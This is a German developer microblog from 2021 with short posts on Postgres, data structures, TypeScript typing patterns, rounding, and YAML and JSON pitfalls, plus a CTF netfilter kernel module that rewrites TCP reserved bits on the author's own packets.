Falls Ihr gerade an einem Backend schreibt und überlegt, ob Ihr neben Euer Postgres noch eine Message-Queue stellt (z. B. Redis): Postgres hat LISTEN/NOTIFY und kann damit auch als Message-Broker verwendet werden.

Funktioniert auch in einem Trigger, sodass z. B. andere Clients mitbekommen können, wenn eine neue Zeile eingesetzt wurde.

nikeee — Tue, 07 Sep 2021 00:00:00 GMT

Ich habe ja schonmal über jq, xq, yq, q und fselect berichtet.

Da gibt es noch eins: htmlq. Das ist wie jq, nur für HTML und als Abfragesprache hat man CSS-Selektoren.

nikeee — Tue, 07 Sep 2021 00:00:00 GMT

Datenstrukturdienstag: Heute keine konkrete Datenstruktur, nur ein Link auf diese tolle Seite, die Algorithmen und Datenstrukturen mit IKEA-Bauanleitungs-artigen Grafiken erklärt.

nikeee — Fri, 10 Sep 2021 00:00:00 GMT

Dateien über (nicht hörbaren) Ton übertragen, im Browser. Man kann auch die Checkbox rausnehmen und zuhören.

Die Seite lädt die Datei allerdings wo hoch ud überträgt nur den Link. Leider wird das nicht Ende-zu-Ende verschlüsselt.

Es gibt noch zwei Projekte, die sowas machen: wave-share und ggwave.

nikeee — Fri, 10 Sep 2021 00:00:00 GMT

Habe mir gerade diese beiden Shell-Funktionen in die .zshrc gelegt:

dsh() { docker exec -it "$1" /bin/sh }
dbash() { docker exec -it "$1" /bin/bash }

Verwenden mit:

dsh <container-id>

...und man bekommt eine Shell in den Container.

Vielleicht braucht es ja jemand von Euch.

nikeee — Sat, 11 Sep 2021 00:00:00 GMT

Mit WSL2 kann man ab Windows 11 ext4-Partitionen mounten.

nikeee — Tue, 14 Sep 2021 00:00:00 GMT

Aktuell mache ich ein bisschen Postgres und muss irgendwo festhalten, was mir so für Dinge auffallen, die ich aus MariaDB und SQLite nicht so kenne.

Heute: Domains

Man kann in Postgres eigene Datentypen anlegen und diese auch mit CHECKs versehen:

CREATE DOMAIN percentage
AS INTEGER
CHECK (VALUE BETWEEN 0 AND 100) NOT NULL;

Und sie dann ganz normal verwenden:

CREATE TABLE test (
    -- ...
    amount_finished percentage,
    -- ...
);

Es gibt auch noch CREATE TYPE. Der Unterschied wird hier erklärt.

nikeee — Tue, 14 Sep 2021 00:00:00 GMT

Wo wir gerade bei Postgres waren: Postgres hat einen riesen-Haufen vordefinierter Typen: https://www.postgresql.org/docs/9.5/datatype.html

U. A. einen Typen für IP-Adresse und einen für IP-Netze. Außerdem kann eine Tabelle auch Array-Spalten enthalten. Außerdem auch noch Enums und geometrische Typen (Punkte, Pfade, etc).

nikeee — Tue, 14 Sep 2021 00:00:00 GMT

Bei Travis gab es ein Problem mit den Secrets: Die Secrets waren nicht secret.

Gut ist auch die Anmerkung bei der Ankündigung:

As a reminder, cycling your secrets is something that all users should do on a regular basis.

Man könnte es auch lesen als "Ja, ist schon schlimm und so. Aber Ihr solltet ja eigentlich alle die Secrets regelmäßig durchtauschen, daher ist das ja dann doch nicht so schlimm. Und wenn nicht, dann ist das Euer Problem, wenn Ihr das nicht macht.".

Die hatten mit Secrets schonmal Probleme. Wichtiger Fakt: Bei der Meldung aus 2016 steht dabei, dass sie keine Anhaltspunkte haben, dass die Lücke ausgenutzt wurde. Diese Anmerkung fehlt bei der Meldung oben. Man könnte also auf die Idee kommen, daraus zu schlussfolgern, dass es dieses Mal ausgenutzt wurde. Und wenn man in den verwandten Threads dazu weiterliest, stimmt das vielleicht auch:

We’ve notified a few projects ourselves to remove their PR builds, they reproed and validated too. Don’t know if it was abused or not.

Ich denke, man will uns damit sagen: Nutzt nicht Travis, wenn Ihr Secrets habt.

nikeee — Tue, 14 Sep 2021 00:00:00 GMT

Datenstrukturdienstag: Diese Woche keine probabilistische Datenstruktur. Stattdessen etwas eher klassischeres: Merkle-Tree.

Grundidee: Man hat Daten(-Blöcke), welche man hasht. Diese Hashes hasht man dann in Zweierpaaren zu einem neuen Hash. Das macht man so lange, bis man nur noch einen Hash übrig hat, der implizit einen Hash über alle Datenblöcke repräsentiert. Ein Knoten in dem Baum ist dabei ein Hash, die Kind-Zweige jeweils die Vorgänger-Hashes. Wer alle Datenblöcke vor sich liegen hat, kann den Merkle-Tree berechnen. Ist ein Datenblock fehlerhaft, stimmt am Ende der Root-Hash nicht.

Das Konzept kommt ursprünglich aus 1979 von Ralph Merkle. Eine der bekanntesten Anwendungen heutzutage ist die Bitcoin-Blockchain. Dort wird ein Merkle-Tree verwendet, um einen Hash über die Transaktionen innerhalb eines Blocks zu berechnen. Die Wurzel dieses Merkle-Trees ist bei Bitcoin dann Teil von dem, was als Grundlage für den SHA-1-Hash verwendet wird, der "gemined" wird. Ursprünglich erfunden wurde der Merkle-Tree, um P2P-Dateiaustausch zu vereinfachen. Hier ist ein Artikel dazu.

nikeee — Wed, 15 Sep 2021 00:00:00 GMT

Aus der Reihe "Blogposts, die man kennen sollte": Parse, don't validate.

Wenn Ihr eine Anwendung baut, macht ungültige Zustände in Eurer Typdomäne nicht-repräsentierbar. Ihr müsst dann anschließend nichts mehr validieren, sondern nur noch parsen. Letzteres macht ggf. sogar ein Framework für Euch. Und Ihr zwingt Euch dazu, Fehlerfälle nicht zu übersehen.

Ein einfaches Beispiel in TypeScript: Szenario: Ein Server kann zwei Antworten geben:

{ "ok": true, "data": "Bitteschön" }

{ "ok": false, "message": "Ich bin ein Kaffeepott" }

Was man nicht machen sollte, wäre folgendes DTO als Modellierung für die Antwort zu nehmen:

interface Response {
    ok: boolean;
    message?: string;
    data?: string;
}
const r = await fetch("...").then(r => r.json()) as Response;

Warum nicht?

Weil man andauernd prüfen muss, ob message vorhanden ist.
Weil es bei diesem DTO gültig ist, dass das Objekt weder message noch data hat. Dieser ungültige Zustand wäre in dieser Modellierung möglich!
Weil man vergessen könnte, auf ok zu überprüfen.
Kann bei Refactorings kaputt gehen.

Was könnte man stattdessen machen? TypeScript hat (wie andere Sprachen auch) discriminated/tagged Unions. Rust-Menschen kennen das als ihr Enum, nur dass das in TS auf JS-Objekten funktioniert. Dabei fungiert ein- oder mehrere gemeinsame Propertys der Typen als Discriminator (also "Unterscheider").

Wir definieren genau die zwei Möglichkeiten, die uns der Server geben kann und sagen "das oder das":

interface SuccessResponse {
    ok: true;
    data: string;
}
interface ErrorResponse {
    ok: false;
    message: string;
}
type Response = SuccessResponse | ErrorResponse;

const r = await fetch("...").then(r => r.json()) as Response;

ok ist hier der Discriminator, der zwischen den beiden Typen unterscheidet.

Auffällig ist:

Weder message noch data sind jetzt optional.
Man wird vom Typsystem gezwungen, auf ok zu prüfen, bevor man .data verwendet. Man kann es nicht vergessen.
Eine Funktion, die nur mit einer erfolgreichen Serverantwort etwas anfangen kann, kann dies in ihrer Parametersignatur sagen. Man spart sich das entpacken der Antwort sowie sonstige Checks innerhalb der Funktion.
Wenn Refactorings etwas daran ändern, merkt man das.
Es ist nicht möglich, ok: true und mesage: "test" zu haben - ungültige Zustände können hier nicht repräsentiert werden.

Eine Überprüfung, ob die Antwort jetzt erfolgreich war oder nicht, muss man natürlich so früh wie möglich machen, dann spart man sich das Überprüfen an späteren Stellen.

Das oben gezeigte Pattern lässt sich gut verwenden, um State-Machines typsicher zu implementieren. Noch ein paar Pointer für andere Sprachen:

std::variant für >= C++17
mypy kann tagged Unions. Ob das mypy-spezifisch ist, weiß ich leider nicht.
- Interesting find: Seit Python 3.10 kann man A | B für Unions nehmen (statt Union[A, B]); das macht es weniger verbose in der Nutzung
Java 17 macht sowas mit Sealed Classes und später noch etwas angenehmer mit Records.
Wikipedia zu Tagged Unions / Sum Types, mit Code-Beispielen

Das ist nur eine Methode, ungültige Zustände im Typsystem festzuhalten. Aber eine, die (meiner Meinung nach) zu wenig verwendet wird.

nikeee — Thu, 16 Sep 2021 00:00:00 GMT

Einen Type-Checker schreiben: Reconstructing TypeScript, part 1

nikeee — Thu, 16 Sep 2021 00:00:00 GMT

A search engine that favors text-heavy sites and punishes modern web design.

nikeee — Tue, 21 Sep 2021 00:00:00 GMT

Datenstrukturdienstag: Der Prefix-Tree bzw. "Trie".

Grundidee: Ein Baum, bei dem jeder Knoten ein Buchstabe ist. Will man einen String ablegen, "geht" bzw. erstellt man den entsprechenden Pfad, der zu dem String gehört. Man muss den Key deshalb nicht separat abspeichern. Der Pfad zum Wert ist der Key. Die Menge der Keys ist dadurch die Menge der Pfade, die in einem Blatt enden.

Neulich habe ich hiermit ein bisschen geliebäugelt, um es ggf. als optimierte Variante anstelle einer Hashmap zu verwenden. Die Keys, die ich in die Map gesteckt habe, waren alle sehr ähnliche Strings. Vor allem waren es Strings, die semantisch mehr miteinander zu tun hatten, je gleicher der Prefix ist. Das hätte vor allem die Lookup-Zeiten aufgrund von CPU-Caches reduzieren können.

Bevor ich ausprobiert hab, ob es sich lohnt, hab ich natürlich gegooglet. Wichtige Erkenntnisse dabei haben dieser und dieser post geliefert. tl;dr: Eine Standard-Hashmap (z. B. aus Java) ist ziemlich optimiert und ein Prefix-Tree lohnt sich meistens eher nicht. Manche sehen das auch als Contest an, die schnellste Hashtable zu schreiben.

nikeee — Fri, 24 Sep 2021 00:00:00 GMT

Eine interessante Blogpost-Serie: Implementing Co, a Small Interpreted Language With Coroutines #2: The Interpreter (Part I ist der Parser).

nikeee — Fri, 24 Sep 2021 00:00:00 GMT

C# wird ja immer weiterentwickelt. Das geht seit Roslyn so schnell, dass manche Sachen dort vielleicht untergegangen sind. Z. B. hat C# mittlerweile zwei neue Access-Modifiers, die noch "so üblich" sind:

protected internal: The type or member can be accessed by any code in the assembly in which it's declared, or from within a derived class in another assembly.

private protected: The type or member can be accessed only within its declaring assembly, by code in the same class or in a type that is derived from that class.

nikeee — Fri, 24 Sep 2021 00:00:00 GMT

Eine einfache Web-ReadOnly-Oberfläche für Git-Repos: Klaus

nikeee — Fri, 24 Sep 2021 00:00:00 GMT

Ein "Gotcha" bei Floating-Point-Kram (IEEE 754) ist das Runden:

In JavaScript verhält sich das Runden wie folgt:

> Math.round(0.5)
1
> Math.round(1.5)
2
> Math.round(2.5)
3
> Math.round(3.5)
4
> Math.round(4.5)
5
> Math.round(5.5)
6

In Python hingegen:

>>> round(0.5)
0
>>> round(1.5)
2
>>> round(2.5)
2
>>> round(3.5)
4
>>> round(4.5)
4
>>> round(5.5)
6

JS rundet hier offenbar klassisch kaufmännisch. Aber was macht Python da? Python rundet hier nach dem Prinzip round half to even, ebenfalls definiert in IEEE 754. Der Hintergrund dieser Idee ist, einen Bias auszugleichen, der auftritt, wenn Summen gerundeter Zahlen gebildet werden:

This function minimizes the expected error when summing over rounded figures, even when the inputs are mostly positive or mostly negative.

Der Wikipedia-Artikel hat auch eine schöne Tabelle!

Wenn man in Java mit BigDecimal arbeitet, gibt es da einen sogenannten MathContext, den man auch beim Runden angeben kann. Darüber kann man genau spezifizieren, wie gerundet werden soll.

nikeee — Fri, 24 Sep 2021 00:00:00 GMT

Neulich hatte ich den bekannten "Parse, don't validate"-Post verlinkt.

Als Follow-Up-Empfehlung gibt es hier zwei Posts:

Letzteres dreht sich vor allem um Haskells newtype. Vereinfacht gesagt ist das ein strikter Typalias. Also als TypeScript-Äquivalent:

type Grade = number;

Mit einem wichtigen Unterschied: Jede number ist automatisch eine valide Grade. Das liegt daran, dass das Typsystem von TS (an den meisten Stellen) strukturell und nicht nominell ist.

Diese newtypes sind eine strikte Variante davon, nämlich, dass man die Typen entweder explizit casten muss oder sie durch die Typinferenz gesichert werden. In TS gibt es newtype-Konstruktionen, Librarys und etliche Blogposts dazu. Manche nennen es auch "Branded Types". Natürlich gibt es auch ein seit 2014 offenes Proposal dazu.

Die Aussage des Blogposts oben: Das kann Exhaustiveness-Checking kaputt machen. Wir stellen uns diese Funktion vor:

type Grade = Branded<number, "Grade">; // "newtype" für Grade

function isGrade(value: number): value is Grade {
    return 1 <= value && value <= 6;
}

function getGradeDescription(value: Grade): string {
    switch (value) {
        case 1: return "sehr gut";
        case 2: return "gut";
        case 3: return "befriedigend";
        case 4: return "ausreichend";
        case 5: return "mangelhaft";
        case 6: return "ungenügend";
        default: throw new Error("Impossible");
    }
}

let a = 4;
// a ist "number"
if (isGrade(a)) {
    // a ist "Grade"
    console.log(getGradeDescription(a));
}

Das ist doch schon ganz gut. Aber was ist jetzt das Problem?

Das Problem wird klar, wenn wir ein Refactoring machen und von dem 6-Noten-System auf z. B. ein 15-Punkte-System migrieren:

type Grade = Branded<number, "Grade">; // "newtype" für Grade

function isGrade(value: number): value is Grade {
    return 0 <= value && value <= 15;
}

// ...

let a = 4;
// a ist "number"
if (isGrade(a)) {
    // a ist "Grade"
    console.log(getGradeDescription(a));
}

Jetzt könnte es passieren, dass der Entwickler nicht mitbekommt, dass getGradeDescription auch angepasst werden muss -- es gibt ja auch keinen Compilerfehler. Stattdessen erhalten wir einen Runtime-Fehler. Dabei dachten wir eigentlich, wir seien auf der sicheren Seite, denn wir haben immer den Grade-Type zugesichert.

Oben schrieb ich, dass Exhaustiveness-Checking kaputt gemacht würde. Rollen wir unseren Code also nochmal zurück vor das Refactoring und schauen, was wir hätten besser machen können. Exhaustiveness-Checking ist, wenn der Compiler prüfen kann, ob alle Fälle abgetestet wurden. Wenn wir den default-Case beim getGradeDescription weglassen:

function getGradeDescription(value: Grade): string {
    switch (value) {
        case 1: return "sehr gut";
        case 2: return "gut";
        case 3: return "befriedigend";
        case 4: return "ausreichend";
        case 5: return "mangelhaft";
        case 6: return "ungenügend";
    }
}

...erhalten wir einen Fehler:

Function lacks ending return statement and return type does not include 'undefined'.

Der kommt daher, dass wir nicht alle Fälle abgedeckt haben und die Funktion nicht immer einen Wert zurückgibt, denn Grade ist ja letztenendes für den Compiler nur eine number, welche alle möglichen Werte annehmen kann. Wir wissen jedoch, dass dies nicht so ist! Der Type-Checker weiß das jedoch nicht. Wie können wir den Type-Checker zu unseren Gunsten verwenden?

Eine Antwort: Mit Literaltypen und Union-Types. Wir können Grade stattdessen so definieren:

type Grade = 1 | 2 | 3 | 4 | 5 | 6;

(Achtung: Das ist immernoch kein newtype, nur ein Typalias für dieses Union)

Dieser Typalias reicht schon aus, um den Compiler bei dem switch mit dem fehlenden default-Case zu befriedigen. Wenn wir jetzt unser Refactoring erneut durchführen, müssen wir Grade abändern:

type Grade = 0 | 1 | 2 | 3 | 4 | 5 | 6 | 7 | 8 | 9 | 10 | 11 | 12 | 13 | 14 | 15;

Jetzt bekommt wir sofort einen Fehler in der getGradeDescription-Funktion: Das Exhaustiveness-Checking sagt uns, dass wir nicht alle Fälle des Grade-Typen abgedeckt haben und der Entwickler weiß sofort, dass er diese Funktion anpassen muss, da sie nicht vergessen werden kann.

Zwei letzte Anmerkungen dazu:

Den default-Case würde ich in der TypeScript-Welt trotzdem nicht weglassen. Es ist immer gut, sich ein assertNever zu definieren und es im default-Case für den Wert, auf dem geswitched wird, zu verwenden. Dadurch wird der Fehler eindeutiger und sollte es zur Laufzeit doch irgendwie dazu kommen, kann im Fehelrfall zumindest eine Exception an der richtigen Stelle geworfen werden (TypeScript macht keine Runtime-Checks; eine inkorrekte Assertion würde dafür reichen).
Der Typ ist jetzt schon ziemlich lang -- ein Union mit 16 Einträgen. Natürlich sollte man auf Fallbasis abwägen, ob es sich lohnt.
newtypes / branded Types sind trotzdem cool und können generell helfen, typsicherer zu sein. Es kann sich aber lohnen, seine Typen noch genauer zu spezifizieren.

nikeee — Sat, 25 Sep 2021 00:00:00 GMT

In search of the perfect URL validation regex (2010)

nikeee — Sat, 25 Sep 2021 00:00:00 GMT

Interessante Frage, die sich jemand 2012 gestellt hat und diskutiert wurde: What will programming look like in 2020?

Ausschitt der Frage:

What will programming look like in 2020? Keep in mind that programming in 2012 mostly resembles programming in 2004, so could we even expect any significant changes 8 years from now in the programmer experience?

nikeee — Sat, 25 Sep 2021 00:00:00 GMT

Der Link von eben hat mich an einen sehr guten Talk erinnert: The Future of Programming, von Bret Victor

Er präsentiert auf einem Tageslichtprojektor und setzt den ganzen Talk so auf, als ob er im Juli 1973 gehalten wird (der Talk ist von 2013). Dabei zeigt er die verrückten, neuen Ideen, auf die die Menschen damals gekommen sind, wenn es um Computer und deren Programmierung ging. Viele davon kennt Ihr wahrscheinlich. Andere bestimmt nicht, da sie in Vergessenheit geraten sind.

Warum haben wir eigentlich die Kreativität verloren, sodass wir Computer im Prinzip alle auf dieselbe Weise bespielen?

nikeee — Sun, 26 Sep 2021 00:00:00 GMT

Man kann in mit CSS ein Element veranlassen, keine Click-/Pointer-Events zu verarbeiten.

nikeee — Mon, 27 Sep 2021 00:00:00 GMT

Heutiger SQLite-Post: SQLAR, ein komprimiertes Archivformat, was gleichzeitig eine SQLite-Datenbank ist. Idee: Es ist eine normale SQLite-DB, die zusätzlich diese Tabelle hat:

CREATE TABLE sqlar(
    name TEXT PRIMARY KEY,  -- name of the file
    mode INT,               -- access permissions
    mtime INT,              -- last modification time
    sz INT,                 -- original file size
    data BLOB               -- compressed content
);

Rest dürfte selbsterklärend sein. Die Vorteile sind die, die man bei normalen SQLite auch hat: Transaktionen, man kann SQL-Querys auf Dateinamen/Attribute machen, die Datei ist inkrementell updatebar etc.

nikeee — Tue, 28 Sep 2021 00:00:00 GMT

Datenstrukturdienstag: Dieses Mal gibt es wieder eine probabilistische Datenstruktur: Count–min-Sketch. Damit kann man (probabilistisch) schätzen, wie oft ein Element vorgekommen ist, z. B. wenn man einen Datenstrom hat und vorbeigehende Dinge zählt.

nikeee — Fri, 01 Oct 2021 00:00:00 GMT

Für ein CTF musste ich letztens einen Netfilter bauen, der ein- und ausgehende IP-Pakete patcht. Genauer gesagt mussten Daten in TCP-Header geändert werden (mehrere Reserved-Bits mussten gesetzt werden).

Nachdem ich hoffnungslos versucht hab, irgendwelche random TCP/IP-Userspace-Stacks mit Raw-Sockets oder TUN/TAP-Devices zum Laufen zu bringen, war die "einfache" Lösung ein Netfilter-Kernelmodul. Da man dazu immer mal wieder verschiedene Varianten findet und 90% der Tech-Blogs da draußen nicht in der Lage sind, Zeilenumbrüche und Quotes ordentlich zu formatieren, hier eine "einfache" Lösung (basiert teilweise auf dieser):

ultra_hack.c:

#include <linux/init.h>
#include <linux/module.h>
#include <linux/kernel.h>
#include <linux/netfilter.h>
#include <linux/netfilter_ipv4.h>
#include <linux/ip.h>
#include <linux/tcp.h>

MODULE_LICENSE("GPL-3.0");
MODULE_AUTHOR("Ultra Hacker 3000");
MODULE_DESCRIPTION("Super-TCP-Hack");

static unsigned int hook_func(void *priv, struct sk_buff *skb, const struct nf_hook_state *state)
{
	if (!skb)
		return NF_ACCEPT;

	struct iphdr *iph = ip_hdr(skb);
	if (iph->protocol != IPPROTO_TCP)
		return NF_ACCEPT;

	struct tcphdr *tcp_header = tcp_hdr(skb);

	tcp_header->res1 = 0b1010;

	printk(KERN_DEBUG "ultra hack is hacking.\n");

	return NF_ACCEPT;
}

static struct nf_hook_ops nf_hook_data = {
	.hook = hook_func,
	.hooknum = NF_INET_POST_ROUTING,
	.pf = PF_INET,
	.priority = NF_IP_PRI_FIRST,
};

static int __init init_function(void)
{
	printk(KERN_INFO "ultra hack module is loading.\n");
	nf_register_net_hook(&init_net, &nf_hook_data);
	return 0;
}

static void __exit exit_function(void)
{
	printk(KERN_INFO "ultra hack module is unloading.\n");
	nf_unregister_net_hook(&init_net, &nf_hook_data);
}

module_init(init_function);
module_exit(exit_function);

Ein paar Anmerkungen:

PF_INET steht für IPv4
die hooknum gibt die Stelle an, an der der Filter eingesetzt wird (das kann man noch Pre-Routing machen etc, einfach nach anderen Konstanten schauen).
Die Signatur der hook_func ändert sich gerne mal bei Kernel-Updates. Die aus dem Beispiel funktioniert für 5.11.0.

Hier noch die Makefile dazu:

obj-m := ultra_hack.o
LKM-objs += ultra_hack.o

all:
	make -C /lib/modules/$(shell uname -r)/build M=$(shell pwd) modules
	rm -r -f *.mod.c .*.cmd *.symvers *.o
clean:
	make -C /lib/modules/$(shell uname -r)/build M=$(shell pwd) clean

Zum Laden, Entfernen etc:

# kompilieren
make all

# laden
sudo insmod ultra_hack.ko

# schauen, ob es da ist
lsmod

# schauen, ob printk-Nachrichten auftauchen
sudo dmesg -w

# entfernen
sudo rmmod ultra_hack

Man kann das auch mit nfqueue und Python machen.

nikeee — Sat, 02 Oct 2021 00:00:00 GMT

TypeScript 4.5 (Beta).

Gute Änderung: TS unterstützt jetzt auch Node.js-Style-ES-Module. Das heißt, dass jetzt auch ordentlich mit ES-Imports umgegangen werden kann, wenn keine Dateiendung dabei ist. Das war bisher immer etwas doof, wenn man bestehenden Code als ES-Module emittiert, da man bei Node üblicherweise die Dateiendungen nicht mit angibt. Die Alternative wäre gewesen, von .js zu importieren, was aber auch doof war, weil man ja eigentlich von einer .ts-Datei importiert. Die Imports wurden bisher nicht zu der entsprechenden .js-Datei umgeschrieben.

Template-Literal-Strings kann man jetzt auch als Discriminator nehmen:

interface Success {
    type: `${string}Success`;
    body: string;
}
interface Error {
    type: `${string}Error`;
    message: string
}
function handler(r: Success | Error) {
    if (r.type === "HttpSuccess") {
        // 'r' has type 'Success'
        let token = r.body;
    }
}

Hätte eigentlich gedacht, dass das vorher auch schon gehen würde. Cool, dass es jetzt geht.

Außer, dass Import Assertions jetzt unterstützt werden, gibt es eigentlich sonst keine krassen Neuerungen. Eher viel kleines für besseren Interop mit anderem.

nikeee — Sun, 03 Oct 2021 00:00:00 GMT

Wiedermal ein schöner API-gotcha, dieses Mal in C#/.NET:

Path.GetTempFileName() gibt den Pfad zu einer einzigartigen Datei zurück. Dabei wird diese Datei auch gleich (ohne Inhalt) angelegt. Sehr praktisch also! Man kann die Datei auch direkt löschen, wenn man weiß, dass man sie nicht mehr braucht.

Brauchst du etwas mehr, als eine einzige Datei? Es gibt praktischerweise auch Path.GetTempPath()!

Moment -- diese Funktion gibt keinen eindeutigen Ordnernamen zurück, sondern den Pfad zum Temp-Verzeichnis des Nutzers. Wer gerade seinen Code refactored hat und davon ausging, dass man den Ordner sicher löschen kann, hat also vielleicht Pech. Wenn man darin dann Dateien mit gleichen Namen anliegt, wiegt sich auch in falscher Sicherheit. Nicht schön.

Dies ist ein schönes Beispiel, dass man Seiteneffekte immer deutlich machen soll. Schon bei GetTempFileName hätte man noch irgendwo ein Create in den Namen tun müssen, damit man sieht, dass diese Funktion auch tatsächlich noch etwas anderes macht, als einen String zurückzugeben. Alternativ hätte man auch bei GetTempPath noch einen anderen Namen finden können.

Naming things is hard.

nikeee — Mon, 04 Oct 2021 00:00:00 GMT

Ich habe gerade folgenden Alias bei Git hinzugefügt:

git config --global alias.serve "daemon --verbose --export-all --base-path=.git --reuseaddr --strict-paths .git/"

Damit kann man ein lokales Git-Repo "mal schnell" serven, damit es jemand klonen kann. Dann spart man sich SSH bzw. andere Lösungen (Quelle).

nikeee — Tue, 05 Oct 2021 00:00:00 GMT

Datenstrukturdienstag: Letzte Woche: Zählen, wie oft bestimmte Elemente vorkamen. Diese Woche: Zählen, wie viele Elemente in einer Menge enthalten sind.

Verwenden kann man dafür HyperLogLog (ja, wieder probabilistisch).

Anwendungsfall: Ihr habt eine Menge, zu der ständig neue Elemente hinzukommen. Ihr braucht euch nicht jedes Element merken. Aber es kann sein, dass ein Element, das eigentlich schon drin ist, noch mal hinzugefügt werden soll. Ihr wollt dieses Element nicht doppelt zählen (Fachbegriff Count-Distinct-Problem).

Konkret wollt ihr vielleicht die Anzahl der Aufrufe eines Videos zählen und nimmt dabei die ID des Users, der es angesehen hat, als Kriterium. Schaut sich die Person es noch mal an, wollt ihr sie nicht noch mal zählen. HLL hat dabei einen sehr langsam wachsenden Speicherbedarf (ursprünglich log(log(n)), daher der Name) und kann in O(1) Elemente hinzufügen.

In der Praxis muss man das natürlich nicht selber bauen. Redis hat das built-in. Und für jede Sprache gibt's das sicherlich auch als Library.

HLL wird natürlich bei den "ganz großen" verwendet (Reddit hat hier berichtet, wie sie ihre Views zählten; habe gehört, dass sie es mittlerweile nicht mehr so machen). Diese Datenstruktur ist auch der Grund, warum Video-Views oder Upvote-Counts meistens nicht die genaue Zahl wiederspiegeln. HLL hat eine Fehlerrate von ~2%.

Es gibt von HLL noch weitere Abwandlungen, z. B. HLL++.

nikeee — Fri, 08 Oct 2021 00:00:00 GMT

Vor ein paar Tagen habe ich Hurl kennengelernt. Das ist ein CLI-HTTP-Client, wie cURL. Der Unterschied ist: Hurl holt sich die Request-Parameter aus einer Datei.

Warum ist das so viel anders als cURL? Man kann mehrere HTTP-Anfragen in einer Datei abbilden. Diese Anfragen können Daten aus den Ergebnissen der vorherigen Anfrage verwenden. Aus dem README:

# Get home:
GET https://example.net

HTTP/1.1 200
[Captures]
csrf_token: xpath "string(//meta[@name='_csrf_token']/@content)"

# Do login!
POST https://example.net/login?user=toto&password=1234
X-CSRF-TOKEN: {% raw %}{{csrf_token}}{% endraw %}

HTTP/1.1 302

Wie Ihr seht, kann man damit auch XPath-Querys auf die Antworten absetzen. Natürlich geht auch JSONPath. Das kann man mit einem [Asserts] kombinieren und sich somit HTTP-Tests bauen:

POST https://api.example.net/tests
{
    "id": "456",
    "evaluate": true
}

HTTP/1.1 200
[Asserts]
jsonpath "$.status" == "RUNNING"      # Check the status code
jsonpath "$.tests" count == 25        # Check the number of items

Intern verwendet das Tool natürlich cURL; man muss das Rad ja auch nicht neu erfinden.

nikeee — Fri, 08 Oct 2021 00:00:00 GMT

Android 12 kommt ja gerade um die Ecke. Coole neue Features, besonders das neue Wallpaper, aus dem Android ein paar Systemfarben ableitet: How Android Wallpaper Images Can Threaten Your Privacy

nikeee — Fri, 08 Oct 2021 00:00:00 GMT

Vielleicht praktisch für das nächste CTF: Quickemu, Quickly create and run optimised Windows, macOS and Linux desktop virtual machines.

nikeee — Fri, 08 Oct 2021 00:00:00 GMT

Hello IPv6: a minimal tutorial for IPv4 users.

nikeee — Fri, 08 Oct 2021 00:00:00 GMT

git-trim automatically trims your tracking branches whose upstream branches are merged or stray.

nikeee — Sat, 09 Oct 2021 00:00:00 GMT

Ein interessanter Artikel über Web Streams: Web Streams Everywhere

Vor ein paar Jahren (2014) hat man Web Streams standardisiert. Das ist sowas wie die Streams aus Node.js, aber als Standard für den Browser. Stellt sich heraus: Bei einem fetch-Request muss man nicht zwingend await (oder .then()) nutzen, um die Antwort zu verarbeiten. Die Property response.body ist ein Stream, den man durch andere Dinge pipen kann.

Auch andere Klassen, wie z. B. Blob, haben eher weniger bekannte Stream-Schnittstellen. So kann man auch WebSockets als ReadableStream wrappen, um mit den Nachrichten einfacher umgehen zu können.

Ein sehr lohnender Artikel!

nikeee — Sun, 10 Oct 2021 00:00:00 GMT

Aus meiner HTML-/JS-Quicktips-Reihe: Es gibt eine coole, neue URL-API.

nikeee — Mon, 11 Oct 2021 00:00:00 GMT

Bei mit sterben immer meine Kräuterpflanzen in der Küche. Vielleicht gieße ich sie zu wenig, vielleicht zu viel. Ich weiß es nicht.

Diesen selbstbewässernden Blumentopf werde ich mal ausprobieren. Was ich besonders gut finde: Das ist keine sinnlose Technik-Bastelei mit ESPs oder Feuchtigkeitssensoren. Das ist ein rein mechanischer Mechanismus.

nikeee — Mon, 11 Oct 2021 00:00:00 GMT

Aus der Reihe bekannterer Blogposts: Parsing JSON is a Minefield.

Falls Euch wieder jemand sagt, dass man ja JSON ganz einfach parsen kann und man einen Parser auch mal schnell selbst schreiben kann. Nein, kannst du nicht. Jedenfalls keinen, der in der realen Welt Daten von anderen Stellen entgegen nehmen wird. Kleiner Auszug aus dem Post:

Yet JSON is defined in at least seven different documents:

nikeee — Mon, 11 Oct 2021 00:00:00 GMT

Wo wir gerade bei JSON waren und jetzt kommt "dann nehm' ich einfach YAML, das ist ganz einfach und man kann es auch einfach parsen". YAML ist ein Superset von JSON. Das heißt, dass wir alle JSON-Probleme weiterhin haben.

Dazu kommt, dass das restliche Format auch nicht so gut ist. Hier wieder ein bekannter Blogpost: YAML: probably not so great after all.

Ein Zitat aus dem Post:

YAML may seem ‘simple’ and ‘obvious’ when glancing at a basic example, but turns out it’s not. The YAML spec is 23,449 words; for comparison, TOML is 3,339 words, JSON is 1,969 words, and XML is 20,603 words. [...] For example did you know there are nine ways to write a multi-line string in YAML with subtly different behavior?

YAML hat auch ein berühmtes Problem. Ihr könnt ja mal überlegen, was man hier nach dem Parsen erhält:

countries:
- GB
- IE
- FR
- DE
- NO
- US

Dann probiert es jetzt aus, oder schaut in den verlinkten Artikel.

Sowas ähnliches ist auch der Grund, warum man bei docker-compose-Files die Port-Mappings immer in Anführungsstriche schreiben sollte.

nikeee — Tue, 12 Oct 2021 00:00:00 GMT

All about Procedure Linkage Table.

nikeee — Tue, 12 Oct 2021 00:00:00 GMT

SHA-1 ist jetzt noch kaputter, als es schon war.

Wie kaputt?

Es ist eine Chosen-Prefix-Kollision:

Using our SHA-1 chosen-prefix collision, we have created two PGP keys with different UserIDs and colliding certificates: key B is a legitimate key for Bob (to be signed by the Web of Trust), but the signature can be transferred to key A which is a forged key with Alice’s ID. The signature will still be valid because of the collision, but Bob controls key A with the name of Alice, and signed by a third party. Therefore, he can impersonate Alice and sign any document in her name,”

Edit: Oh, das ist ja aus 2020. Hab ich nicht mitbekommen.

nikeee — Tue, 12 Oct 2021 00:00:00 GMT

Datenstrukturdienstag: Log-Structured-Merge-Tree (LSM-Tree).

Das ist ein Suchbaum. Die Idee: Man hat mehrere Bäume (Bei Wikipedia C_0 und C_1). Der erste Baum liegt im RAM, der zweite auf der Festplatte. Neue Einträge kommen in den RAM. Wenn C_0 einen Threshold übersteigt, werden Daten von C_0 nach C_1 migriert, also auf die Festplatte.

Der Vorteil: Neu eingesetzte Daten liegen direkt im RAM und können schnell abgerufen werden. Aus diesem Grund wird diese Struktur auch gern bei In-Memory-Datenbanken verwendet.

